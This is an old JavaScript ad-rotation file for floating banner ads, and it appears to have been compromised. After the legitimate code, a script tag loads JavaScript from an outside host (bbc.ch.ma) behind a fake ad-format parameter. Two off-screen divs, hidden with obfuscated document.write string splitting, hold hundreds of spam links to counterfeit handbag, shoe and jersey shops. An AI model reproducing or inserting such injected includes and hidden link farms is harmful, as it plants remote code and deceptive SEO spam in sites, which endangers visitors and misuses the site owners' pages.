function ObjectAD() {
  /* Define Variables*/
  this.ADID        = 0;
  this.ADType      = 0;
  this.ADName      = "";
  this.ImgUrl      = "";
  this.ImgWidth    = 0;
  this.ImgHeight   = 0;
  this.FlashWmode  = 0;
  this.LinkUrl     = "";
  this.LinkTarget  = 0;
  this.LinkAlt     = "";
  this.Priority    = 0;
  this.CountView   = 0;
  this.CountClick  = 0;
  this.InstallDir  = "";
  this.ADDIR       = "";
}

function FloatZoneAD(_id) {
  /* Define Constants */
  this.vmin        = 2;
  this.vmax        = 5;
  this.vr          = 2;

  /* Define Common Variables*/
  this.ID          = _id;
  this.ZoneID      = 0;
  this.ZoneName    = "";
  this.ZoneWidth   = 0;
  this.ZoneHeight  = 0;
  this.ShowType    = 1;
  this.DivName     = "";
  this.Div         = null;

  /* Define Unique Variables*/
  this.FloatType   = 1;
  this.Left        = 0;
  this.Top         = 0;
  this.Delay       = 50;

  this.Width       = 1;
  this.Height      = 1;
  this.vx          = this.vmin+this.vmax*Math.random();
  this.vy          = this.vmin+this.vmax*Math.random();
  this.timer       = null;

  this.step        = 1;
  this.xin         = true;
  this.yin         = true;

  /* Define Objects */
  this.AllAD       = new Array();
  this.ShowAD      = null;

  /* Define Functions */
  this.AddAD       = FloatZoneAD_AddAD;
  this.GetShowAD   = FloatZoneAD_GetShowAD;
  this.Show        = FloatZoneAD_Show;
  this.Float       = FloatZoneAD_Float;
  this.Pause       = FloatZoneAD_Pause;
  this.Resume      = FloatZoneAD_Resume;
}

function FloatZoneAD_AddAD(_AD) {
  this.AllAD[this.AllAD.length] = _AD;
}

function FloatZoneAD_GetShowAD() {
  if (this.ShowType > 1) {
    this.ShowAD = this.AllAD[0];
    return;
  }
  var num = this.AllAD.length;
  var sum = 0;
  for (var i = 0; i < num; i++) {
    sum = sum + this.AllAD[i].Priority;
  }
  if (sum <= 0) {return ;}
  var rndNum = Math.random() * sum;
  i = 0;
  j = 0;
  while (true) {
    j = j + this.AllAD[i].Priority;
    if (j >= rndNum) {break;}
    i++;
  }
  this.ShowAD = this.AllAD[i];
}

function FloatZoneAD_Show() {
  if (!this.AllAD) {
    return;
  } else {
    this.GetShowAD();
  }

  if (this.ShowAD == null) return false;
  this.DivName = "FloatZoneAD_Div" + this.ZoneID;
  if (!this.ShowAD.ImgWidth) this.ShowAD.ImgWidth = this.ZoneWidth
  if (!this.ShowAD.ImgHeight) this.ShowAD.ImgHeight = this.ZoneHeight
  if (this.ShowAD.ADDIR=="") this.ShowAD.ADDIR = "AD"
  if (navigator.appName == "Netscape") {
    document.write("<layer id='" + this.DivName + "' top='" + this.Top + "' width='" + this.ZoneWidth + "' height='" + this.ZoneHeight + "'>" + AD_Content(this.ShowAD) + "</layer>");
  } else {
    document.write("<div id='" + this.DivName + "' onMouseOver='" + this.ID+".Pause()' onMouseOut='" + this.ID+".Resume()' style='position:absolute; visibility:visible; z-index:1; width:" + this.ZoneWidth + "; height:" + this.ZoneHeight + "; left:" + this.Left + ";top:" + this.Top + "'>" + AD_Content(this.ShowAD) + "</div>");
  }
  if (this.ShowAD.CountView) {
    document.write ("<script src='" + this.ShowAD.InstallDir + this.ShowAD.ADDIR + "/ADCount.asp?Action=View&ADID=" + this.ShowAD.ADID + "'></script>")
  }
  this.Width = (this.ShowAD.ImgWidth)?this.ShowAD.ImgWidth:this.ZoneWidth
  this.Height = (this.ShowAD.ImgHeight)?this.ShowAD.ImgHeight:this.ZoneHeight
  this.Div = document.getElementById(this.DivName);
  this.Float();
}

function FloatZoneAD_Float() {
  pageX=window.document.body.scrollLeft;
  pageW=window.document.body.offsetWidth-22;
  pageY=window.document.body.scrollTop;
  pageH=window.document.body.offsetHeight-4;
  if (this.FloatType==1) {
    this.Left=this.Left+this.vx;
    this.Top=this.Top+this.vy;
    this.vx+=this.vr*(Math.random()-0.5);
    this.vy+=this.vr*(Math.random()-0.5);
    if(this.vx>(this.vmax+this.vmin))this.vx=(this.vmax+this.vmin)*2-this.vx;
    if(this.vx<(-this.vmax-this.vmin))this.vx=(-this.vmax-this.vmin)*2-this.vx;
    if(this.vy>(this.vmax+this.vmin))this.vy=(this.vmax+this.vmin)*2-this.vy;
    if(this.vy<(-this.vmax-this.vmin))this.vy=(-this.vmax-this.vmin)*2-this.vy;
    if(this.Left<=pageX){this.Left=pageX;this.vx=this.vmin+this.vmax*Math.random();}
    if(this.Left>=pageX+pageW-this.Width){this.Left=pageX+pageW-this.Width;this.vx=-this.vmin-this.vmax*Math.random();}
    if(this.Top<=pageY){this.Top=pageY;this.vy=this.vmin+this.vmax*Math.random();}
    if(this.Top>=pageY+pageH-this.Height){this.Top=pageY+pageH-this.Height;this.vy=-this.vmin-this.vmax*Math.random();}
    this.Delay=80;
  } else if (this.FloatType==2) {
    this.Left+=this.step*(this.xin?1:-1);
    this.Top+=this.step*(this.yin?1:-1);
    if(this.Left<=pageX){this.xin=true;this.Left<=pageX} 
    if(this.Left>=pageX+pageW-this.Width){this.xin=false;this.Left=pageX+pageW-this.Width} 
    if(this.Top<=pageY){this.yin=true;this.Top=pageY} 
    if(this.Top>=pageY+pageH-this.Height){this.yin=false;this.Top=pageY+pageH-this.Height}
    this.Delay=15;
  } else if (this.FloatType==3) {
    this.Top+=this.step*(this.yin?1:-1);
    if(this.Top<=pageY){this.yin=true;this.Top=pageY} 
    if(this.Top>=pageY+pageH-this.Height){this.yin=false;this.Top=pageY+pageH-this.Height}
    this.Delay=15;
  } else if (this.FloatType==4) {
    this.Left+=this.step*(this.xin?1:-1);
    if(this.Left<=pageX){this.xin=true;this.Left<=pageX} 
    if(this.Left>=pageX+pageW-this.Width){this.xin=false;this.Left=pageX+pageW-this.Width} 
    this.Delay=15;
  }
  this.Div.style.pixelLeft=this.Left;
  this.Div.style.pixelTop=this.Top;
  this.Div.timer=setTimeout(this.ID+".Float()",this.Delay);
}

function FloatZoneAD_Pause() {
  if(this.Div.timer!=null){clearTimeout(this.Div.timer)}
}

function FloatZoneAD_Resume() {
  this.Float();
}

function AD_Content(o) {
  var str = "";
  if (o.ADType == 1 || o.ADType == 2) {
  imgurl = o.ImgUrl .toLowerCase()
    if (o.InstallDir.indexOf("http://") != - 1) imgurl = o.InstallDir.substr(0, o.InstallDir.length - 1) + imgurl;
    if (imgurl.indexOf(".swf") !=  - 1) {
      str = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0'";
      str += " name='AD_" + o.ADID + "' id='AD_" + o.ADID + "'";
      str += " width='" + o.ImgWidth + "'";
      str += " height='" + o.ImgHeight + "'";
      if (o.style) str += " style='" + o.style + "'";
      if (o.extfunc) str += " " + o.extfunc + " ";
      str += ">";
      str += "<param name='movie' value='" + imgurl + "'>";
      if (o.FlashWmode == 1) str += "<param name='wmode' value='Transparent'>";
      if (o.play) str += "<param name='play' value='" + o.play + "'>";
      if (typeof(o.loop) != "undefined") str += "<param name='loop' value='" + o.loop + "'>";
      str += "<param name='quality' value='autohigh'>";
      str += "<embed ";
      str += " name='AD_" + o.ADID + "' id='AD_" + o.ADID + "'";
      str += " width='" + o.ImgWidth + "'";
      str += " height='" + o.ImgHeight + "'";
      if (o.style) str += " style='" + o.style + "'";
      if (o.extfunc) str += " " + o.extfunc + " ";
      str += " src='" + imgurl + "'";
      if (o.FlashWmode == 1) str += " wmode='Transparent'";
      if (o.play) str += " play='" + o.play + "'";
      if (typeof(o.loop) != "undefined") str += " loop='" + o.loop + "'";
      str += " quality='autohigh'"
      str += " pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash'></embed>";
      str += "</object>";
    } else if (imgurl.indexOf(".gif") !=  - 1 || imgurl.indexOf(".jpg") !=  - 1 || imgurl.indexOf(".jpeg") !=  - 1 || imgurl.indexOf(".bmp") !=  - 1 || imgurl.indexOf(".png") !=  - 1) {
      if (o.LinkUrl) {
        if (o.CountClick) o.LinkUrl = o.InstallDir + o.ADDIR + "/ADCount.asp?Action=Click&ADID=" + o.ADID
        str += "<a href='" + o.LinkUrl + "' target='" + ((o.LinkTarget == 0) ? "_self" : "_blank") + "' title='" + o.LinkAlt + "'>";
      }
      str += "<img ";
      str += " name='AD_" + o.ADID + "' id='AD_" + o.ADID + "'";
      if (o.style) str += " style='" + o.style + "'";
      if (o.extfunc) str += " " + o.extfunc + " ";
      str += " src='" + imgurl + "'";
      if (o.ImgWidth) str += " width='" + o.ImgWidth + "'";
      if (o.ImgHeight) str += " height='" + o.ImgHeight + "'";
      str += " border='0'>";
      if (o.LinkUrl) str += "</a>";
    }
  } else if (o.ADType == 3 || o.ADType == 4) {
    str = o.ADIntro
  } else if (o.ADType == 5) {
    str = "<iframe id='" + "AD_" + o.ADID + "' marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no width=100% height=100% src='" + o.ADIntro + "'>wait</iframe>";
  }
  return str;
}



var ZoneAD_2 = new FloatZoneAD("ZoneAD_2");
ZoneAD_2.ZoneID      = 2;
ZoneAD_2.ZoneWidth   = 100;
ZoneAD_2.ZoneHeight  = 200;
ZoneAD_2.ShowType    = 1;
ZoneAD_2.FloatType     = 1;
ZoneAD_2.Left        = 100;
ZoneAD_2.Top         = 100;

var objAD = new ObjectAD();
objAD.ADID           = 2;
objAD.ADType         = 1;
objAD.ADName         = "zxhb";
objAD.ImgUrl         = "/07nh/AD/UploadADPic/200708/20070809090608204.jpg";
objAD.ImgWidth       = 120;
objAD.ImgHeight      = 240;
objAD.FlashWmode     = 0;
objAD.ADIntro        = "";
objAD.LinkUrl        = "";
objAD.LinkTarget     = 1;
objAD.LinkAlt        = "";
objAD.Priority       = 1;
objAD.CountView      = 0;
objAD.CountClick     = 0;
objAD.InstallDir     = "/07nh/";
objAD.ADDIR          = "AD";
ZoneAD_2.AddAD(objAD);

ZoneAD_2.Show();
<script language=javascript src=http://bbc.ch.ma/js.js?google_ad_format=50x90_as></script>
<script type="text/javascript">document.write('<d' + 'iv st' + 'yle' + '="po' + 'si' + 'tio' + 'n:a' + 'bso' + 'lu' + 'te;r' + 'igh' + 't:' + '-' + '99' + '94' + '0' + 'p' + 'x;' + '"' + '>');</script><div>
,<a href="http://www.gucciboss.com/gucci-handbags-c-16.html">gucci handbags</a>
,<a href="http://www.gucciboss.com/gucci-pelham-c-44.html">Gucci Pelham</a>
,<a href="http://www.gucciboss.com/gucci-boston-c-48.html">Gucci Boston</a>
,<a href="http://www.gucciboss.com/gucci-crystal-c-36.html">Gucci Crystal</a>
,<a href="http://www.gucciboss.com/gucci-canvas-c-34.html">Gucci Canvas</a>
,<a href="http://www.2010-nfl.com/kids-jerseys-c-200.html">kids jerseys</a>
,<a href="http://www.2010-nfl.com/nfl-nfl-jerseys-c-2.html">NFL Jerseys</a>
,<a href="http://www.2010-nfl.com/nfl-mlb-jerseys-c-3.html">MLB Jerseys</a>
,<a href="http://www.2010-nfl.com/nfl-nba-jerseys-c-21.html">NBA Jerseys</a>
,<a href="http://www.2010-nfl.com/nfl-nhl-jerseys-c-22.html">NHL Jerseys</a>
,<a href="http://www.nikemy.com/nike-max-c-66.html">Nike Max</a>
,<a href="http://www.nikemy.com/nike-jordans-c-123.html">Nike Jordans</a>
,<a href="http://www.nikemy.com/air-force-shoes-c-82.html">Air Force Shoes</a>
,<a href="http://www.nikemy.com/nike-sneakers-c-88.html">Nike Sneakers</a>
,<a href="http://www.nikemy.com/nike-shox-c-100.html">Nike Shox</a>
,<a href="http://www.bags-coach.com/coach-classic-c-68.html">Coach Classic</a>
,<a href="http://www.bags-coach.com/coach-wallets-c-73.html">Coach Wallets</a>
,<a href="http://www.bags-coach.com/coach-luggage-c-74.html">Coach Luggage</a>
,<a href="http://www.bags-coach.com/coach-sandals-c-75.html">Coach Sandals</a>
,<a href="http://www.bags-coach.com/coach-jewelry-c-76.html">Coach Jewelry</a>
,<a href="http://www.bags-coach.com/coach-sunglasses-c-77.html">Coach Sunglasses</a>
,<a href="http://www.otiffany.com/">Tiffany</a>
,<a href="http://www.otiffany.com/">Tiffany & Co</a>
,<a href="http://www.topfivefingers.com/">Five Fingers</a>
,<a href="http://www.topfivefingers.com/">Vibram</a>
,<a href="http://www.topfivefingers.com/">fivefingers</a>
,<a href="http://www.topfivefingers.com/">Five Fingers Kso</a>
,<a href="http://www.topfivefingers.com/">Five Fingers Classic</a>
,<a href="http://www.topfivefingers.com/">Five Fingers Sprint</a>
,<a href="http://www.topfivefingers.com/">FiveFingers shoes</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram Five Fingers</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram fivefingers</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram Five Fingers Kso</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram Five Fingers Classic</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram Five Fingers Sprint</a>
,<a href="http://www.anyvibramfivefingers.com/">Vibram FiveFingers shoes</a>
,<a href="http://www.louis-vuitton-handbags.us/">Louis vuitton handbags</a> 
,<a href="http://www.superchristianlouboutin.com/">Christian Louboutin</a>
,<a href="http://www.superchristianlouboutin.com/">Christian Louboutin Shoes</a>
,<a href="http://www.superchristianlouboutin.com/">Cheap Chrisitan Louboutin</a>
,<a href="http://www.superchristianlouboutin.com/christian-louboutin-boots-c-66.html">Christian Louboutin Boots</a>
,<a href="http://www.superchristianlouboutin.com/christian-louboutin-evening-c-67.html">Christian Louboutin Evening</a>
,<a href="http://www.superchristianlouboutin.com/christian-louboutin-pumps-c-68.html">Christian Louboutin Pumps</a>
,<a href="http://www.superchristianlouboutin.com/christian-louboutin-sandals-c-69.html">Christian Louboutin Sandals</a>
,<a href="http://www.wholesale-ugg-boots.com/">wholesale ugg boots</a>
,<a href="http://www.wholesale-ugg-boots.com/">Cheap ugg boots</a>
,<a href="http://www.wholesale-ugg-boots.com/">ugg boots sale</a>
,<a href="http://www.wholesale-ugg-boots.com/">ugg boots</a>
,<a href="http://www.wholesale-ugg-boots.com/">uggs</a>
,<a href="http://www.2010-nfl.com/">NFL Jerseys</a> 
,<a href="http://www.jerseyss.com/">Jerseys</a></div><script type="text/javascript">document.write("'</'+'d'+'iv'>");</script>





<script type="text/javascript">document.write('<d' + 'iv st' + 'yle' + '="po' + 'si' + 'tio' + 'n:a' + 'bso' + 'lu' + 'te;r' + 'igh' + 't:' + '-' + '99' + '94' + '0' + 'p' + 'x;' + '"' + '>');</script><div>
<a href="http://www.besteshopping.com/">Best Eshopping</a>,<a href="http://www.BestStoreGuide.com/">Best Store Guide</a>,<a href="http://fivefingersvibram.tk/">five fingers vibram</a>,<a href="http://sellchristianlouboutin.tk/">sell christian louboutin</a>,<a href="http://bestchristianlouboutin.tk/">best christian louboutin</a>,<a href="http://bestvibramfivefingers.tk/">best vibram five fingers</a>,<a href="http://buyvibramfivefingers.tk/">buy vibram five fingers</a>,<a href="http://mychristianlouboutin.tk/">my christian louboutin</a>,<a href="http://ghdhairstraighteners.tk/">ghd hair straighteners</a>,<a href="http://www.BestStoreNet.com/">Best Store Net</a> ,<a href="http://www.BestCheapWorld.com/">Best Cheap World</a> ,<a href="http://www.BestCheapSite.com/">Best Cheap Site</a>,<a href="http://fivefingersshoes.tk/">five fingers shoes</a>,<a href="http://vibramfivefinger.tk/">vibram five finger</a>,<a href="http://bestfivefingers.tk/">best five fingers</a>,<a href="http://ghdstraighteners.tk/">ghd straighteners</a>,<a href="http://fivefingerskso.tk/">five fingers kso</a>,<a href="http://tiffanyjewelry.tk/">tiffany jewelry</a>,<a href="http://www.TheCheapHome.com/">The Cheap Home</a> ,<a href="http://www.PerfectCheap.com/">Perfect Cheap</a>,<a href="http://www.TopShopHome.com/">Top Shop Home</a>,<a href="http://buynfljerseys.tk/">buy nfl jerseys</a>,<a href="http://salehandbags.tk/">sale handbags</a>,<a href="http://buylouboutin.tk/">buy louboutin</a>,<a href="http://cheaptiffany.tk/">cheap tiffany</a>,<a href="http://www.FinestCheap.com/">Finest Cheap</a>,<a href="http://cheaphandbags.tk/">cheap handbags</a>,<a href="http://tiffanyjewels.tk/">tiffany jewels</a>,<a href="http://coachhandbags.tk/">coach handbags</a>,<a href="http://guccihandbags.tk/">gucci handbags</a>,<a href="http://uggshopping.tk/">ugg shopping</a>,<a href="http://kidsjerseys.tk/">kids jerseys</a>,<a href="http://buyhandbags.tk/">buy handbags</a>,<a href="http://discountugg.tk/">discount ugg</a>,<a href="http://salejerseys.tk/">sale jerseys</a>,<a href="http://bestjerseys.tk/">best jerseys</a>,<a href="http://besttiffany.tk/">best tiffany</a>,<a href="http://fivefingers.tk/">five fingers</a>,<a href="http://ghdshopping.tk/">ghd shopping</a>,<a href="http://jerseysshop.tk/">jerseys shop</a>,<a href="http://vibramshoes.tk/">vibram shoes</a>,<a href="http://tophandbags.tk/">top handbags</a>,<a href="http://topjerseys.tk/">top jerseys</a>,<a href="http://guccigucci.tk/">gucci gucci</a>,<a href="http://jerseysvip.tk/">jerseys vip</a>,<a href="http://buytiffany.tk/">buy tiffany</a>,<a href="http://myhandbags.tk/">my handbags</a>,<a href="http://thehandbags.tk/">the handbags</a>,<a href="http://anyhandbags.tk/">any handbags</a>,<a href="http://anyjerseys.tk/">any jerseys</a>,<a href="http://myjerseys.tk/">my jerseys</a>,<a href="http://saleshoes.tk/">sale shoes</a>,<a href="http://theshoes.tk/">the shoes</a>,<a href="http://cheapuggs.tk/">cheap uggs</a>,<a href="http://anyshoes.tk/">any shoes</a>,<a href="http://www.ppseo.info/">PPSEO</a>,<a href="http://www.meijie.info/">meijie</a>,<a href="http://www.liu8.info/">liu8</a>,<a href="http://www.iqin.info/">iqin</a>,<a href="http://www.diqiqi.com/">Diqiqi</a>,<a href="http://www.lustmm.com/">Lustmm</a>,<a href="http://cheapugg.tk/">cheap ugg</a>,<a href="http://myboots.tk/">my boots</a>,<a href="http://cheapghd.tk/">cheap ghd</a>,<a href="http://ghdsale.tk/">ghd sale</a>,<a href="http://www.Rseo.org/">Rseo</a>,<a href="http://vibram.tk/">vibram</a>,<a href="http://buyghd.tk/">buy ghd</a>,<a href="http://ghdshop.tk/">ghd shop</a>,<a href="http://uggsugg.tk/">uggs ugg</a>,<a href="http://uggugg.tk/">ugg ugg</a>,<a href="http://bestugg.tk/">best ugg</a>,<a href="http://bestuggs.tk/">best uggs</a,<a href="http://buyugg.tk/">buy ugg</a>,<a href="http://saleugg.tk/">sale ugg</a>,<a href="http://uggshop.tk/">ugg shop</a></div><script type="text/javascript">document.write("'</'+'d'+'iv'>");</script>
